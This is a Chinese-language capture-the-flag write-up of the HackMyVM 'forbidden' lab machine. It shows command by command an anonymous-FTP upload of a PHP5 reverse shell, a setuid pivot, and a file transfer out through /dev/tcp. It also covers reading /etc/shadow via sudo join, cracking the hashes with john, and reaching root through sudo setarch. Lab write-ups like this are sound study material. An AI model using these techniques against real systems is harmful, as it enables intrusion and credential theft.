主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# arp-scan -I eth1 -l

192.168.56.138  08:00:27:2e:4b:f4       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.138`

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# nmap -p- 192.168.56.138

PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http
```

详细探测结果

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# nmap -sT -sC -sV -O -p21,80 192.168.56.138
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-07 01:10 CST
Nmap scan report for 192.168.56.138
Host is up (0.0019s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 0        0            4096 Dec 06 08:48 www [NSE: writeable]
80/tcp open  http    nginx 1.14.2
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.14.2
MAC Address: 08:00:27:2E:4B:F4 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
```

```
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Unix

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.51 seconds
```

ftp探测

看到ftp版本为vsftpd 3.0.3，存在弱口令/`ftp:ftp`/

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# lftp 192.168.56.138 -u ftp
Password:
lftp ftp@192.168.56.138:~> ls -al
drwxr-xr-x    3 0        113          4096 Oct 09  2020 .
drwxr-xr-x    3 0        113          4096 Oct 09  2020 ..
drwxrwxrwx    2 0        0            4096 Dec 06 08:48 www
```

看到这个结构大概率www就是web服务的内容

```
lftp ftp@192.168.56.138:/> cd www
cd ok, cwd=/www
lftp ftp@192.168.56.138:/www> ls -al
drwxrwxrwx    2 0        0            4096 Dec 06 08:48 .
drwxr-xr-x    3 0        113          4096 Oct 09  2020 ..
-rwxrwxrwx    1 0        0             241 Oct 09  2020 index.html
-rwxrwxrwx    1 0        0              75 Oct 09  2020 note.txt
-rwxrwxrwx    1 0        0              10 Oct 09  2020 robots.txt
```

查看文件内容

```
#查看index.html
lftp ftp@192.168.56.138:/www> cat index.html
<h1>SECURE WEB/FTP<h1>

Hi, Im the best admin of the world.
You cannot execute .php code on this server so you cannot
obtain a reverse shell. Not sure if its misconfigured another things... but
the important is that php is disabled.

-marta
241 bytes transferred

#查看note.txt
lftp ftp@192.168.56.138:/www> cat note.txt
The extra-secured .jpg file contains my password but nobody can obtain it.
75 bytes transferred

#查看robot.txt
```

```
lftp ftp@192.168.56.138:/www> cat robots.txt
/note.txt
10 bytes transferred
```

枚举了一下.jpg文件，但是没有

反弹shell

尝试反弹shell，发现传上去php，phtml，php3等都不解析，但是解析php5

上传revshell.php5

```
lftp ftp@192.168.56.138:/www> put revshell.php5
4116 bytes transferred
```

web请求一下php5文件

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# nc -lvnp 6666
listening on [any] 6666 ...
id
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.138] 51132
成功建立反向shell连接至 192.168.56.247:6666
Linux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07)
x86_64 GNU/Linux
 12:21:53 up 20 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
```

成功获得webshell

提权

home目录

```
www-data@forbidden:/$ ls -al /home/
total 20
drwxr-xr-x  5 root   root   4096 Oct  9  2020 .
drwxr-xr-x 18 root   root   4096 Oct  9  2020 ..
drwxr-xr-x  3 markos markos 4096 Oct  9  2020 markos
drwxr-xr-x  3 marta  marta  4096 Dec  6 09:18 marta
drwxr-xr-x  2 peter  peter  4096 Oct  9  2020 peter
```

www-data ---> markos

```
www-data@forbidden:/$ ls -al /home/marta/
total 56
-rwsr-sr-x 1 root  marta 16712 Oct  9  2020 .forbidden
-rw-r--r-- 1 root  root    130 Oct  9  2020 hidden.c
```

发现marta目录下有两奇怪文件

```
www-data@forbidden:/home/marta$ cat hidden.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
setuid(1001); setgid(1001); system("/bin/bash");
}
```

给1001用户的bash

```
www-data@forbidden:/home/marta$ ./.forbidden
markos@forbidden:/home/marta$ id
uid=1001(markos) gid=33(www-data) groups=33(www-data)
```

运行.forbidden，发现给了1001用户的权限

user.txt

```
markos@forbidden:/home/markos$ cat user.txt
HMVpussycat
```

markos ---> marta

结合web的note提示的jpg文件，找一下

```
markos@forbidden:/home/marta$ find / -name "*.jpg" 2>/dev/null
/var/www/html/TOPSECRETIMAGE.jpg
```

拿到本地检查一下

```
#先监听
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# nc -lvnp 8888 > TOPSECRETIMAGE.jpg
listening on [any] 8888 ...
connect to [192.168.56.247] from (UNKNOWN) [192.168.56.138] 55438

#传文件
markos@forbidden:/home/marta$ cat /var/www/html/TOPSECRETIMAGE.jpg >
/dev/tcp/192.168.56.247/8888
```

检查TOPSECRETIMAGE.jpg文件

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# stegseek TOPSECRETIMAGE.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "portugal"
[i] Original filename: "pass.zip".
[i] Extracting to "TOPSECRETIMAGE.jpg.out".
```

解压要密码，破解

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# zip2john TOPSECRETIMAGE.jpg.out > tmp
ver 2.0 efh 5455 efh 7875 TOPSECRETIMAGE.jpg.out/pass.txt PKZIP Encr: TS_chk,
cmplen=66, decmplen=71, crc=E22A2397 ts=9831 cs=9831 type=8

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# john tmp --wordlist=/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
No password hashes left to crack (see FAQ)

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# john tmp --show
TOPSECRETIMAGE.jpg.out/pass.txt:secret:pass.txt:TOPSECRETIMAGE.jpg.out::TOPSECRE
TIMAGE.jpg.out

1 password hash cracked, 0 left
```

得到密码`secret`

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# unziunzip TOPSECRETIMAGE.jpg.out
Archive:  TOPSECRETIMAGE.jpg.out
[TOPSECRETIMAGE.jpg.out] pass.txt password:
  inflating: pass.txt

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# cat pass.txt
- .... .
.--. .- ... ... .-- --- .-. -..
.. ... ---...

vGffXfDreF453!
```

其实密码就是文件名`TOPSECRETIMAGE`

```
markos@forbidden:/home/marta$ su marta
Password:
marta@forbidden:~$ id
uid=1000(marta) gid=1000(marta)
groups=1000(marta),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),
109(netdev)
```

成功获得marta权限

marta ---> peter

```
marta@forbidden:~$ sudo -l
Matching Defaults entries for marta on forbidden:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User marta may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/join
```

可以执行`join`

```
marta@forbidden:~$ join --help
Usage: join [OPTION]... FILE1 FILE2
For each pair of input lines with identical join fields, write a line to
standard output.  The default join field is the first, delimited by blanks.
```

读帮助文件，按帮助文件给的使用方法使用

```
marta@forbidden:~$ sudo /usr/bin/join -a 2 /dev/null /etc/shadow
root:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2Xgqj
IEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::
daemon:*:18544:0:99999:7:::
bin:*:18544:0:99999:7:::
sys:*:18544:0:99999:7:::
sync:*:18544:0:99999:7:::
games:*:18544:0:99999:7:::
man:*:18544:0:99999:7:::
lp:*:18544:0:99999:7:::
mail:*:18544:0:99999:7:::
news:*:18544:0:99999:7:::
uucp:*:18544:0:99999:7:::
proxy:*:18544:0:99999:7:::
www-data:*:18544:0:99999:7:::
backup:*:18544:0:99999:7:::
list:*:18544:0:99999:7:::
irc:*:18544:0:99999:7:::
gnats:*:18544:0:99999:7:::
nobody:*:18544:0:99999:7:::
_apt:*:18544:0:99999:7:::
systemd-timesync:*:18544:0:99999:7:::
systemd-network:*:18544:0:99999:7:::
systemd-resolve:*:18544:0:99999:7:::
messagebus:*:18544:0:99999:7:::
marta:$6$h.4ZF5esZ/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y/UBl0eks1.Wrd51BqLK8Wqt
91WXgOY2mrdNY4luPQkqUWXFXWxLVwe/:18544:0:99999:7:::
systemd-coredump:!!:18544::::::
ftp:*:18544:0:99999:7:::
sshd:*:18544:0:99999:7:::
markos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w/x.Xvhdr7Ny/4JgLDRLRAxAwEwGtH2kD
7PjzeloAstqCPq/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::
peter:$6$QAeWH9Et9PAJdYz/$/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy/m
5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::
```

读取到shadow文件，爆破peter密码

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/forbidden]
└─# john peter --wordlist=/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
boomer           (peter)
1g 0:00:00:00 DONE (2025-12-07 01:43) 3.225g/s 3303p/s 3303c/s 3303C/s
football1..bethany
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

爆破出peter密码为：`boomer`

```
marta@forbidden:~$ su peter
Password:
peter@forbidden:/home/marta$ id
uid=1002(peter) gid=1002(peter) groups=1002(peter)
```

获取到peter的权限

peter ---> root

```
peter@forbidden:/home/marta$ sudo -l
Matching Defaults entries for peter on forbidden:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User peter may run the following commands on forbidden:
    (ALL : ALL) NOPASSWD: /usr/bin/setarch
```

```
peter@forbidden:/home/marta$ sudo /usr/bin/setarch x86_64 /bin/bash
root@forbidden:/home/marta# id
uid=0(root) gid=0(root) groups=0(root)
```

成功提权root

root.txt

```
root@forbidden:~# cat root.txt
HMVmymymymymind
```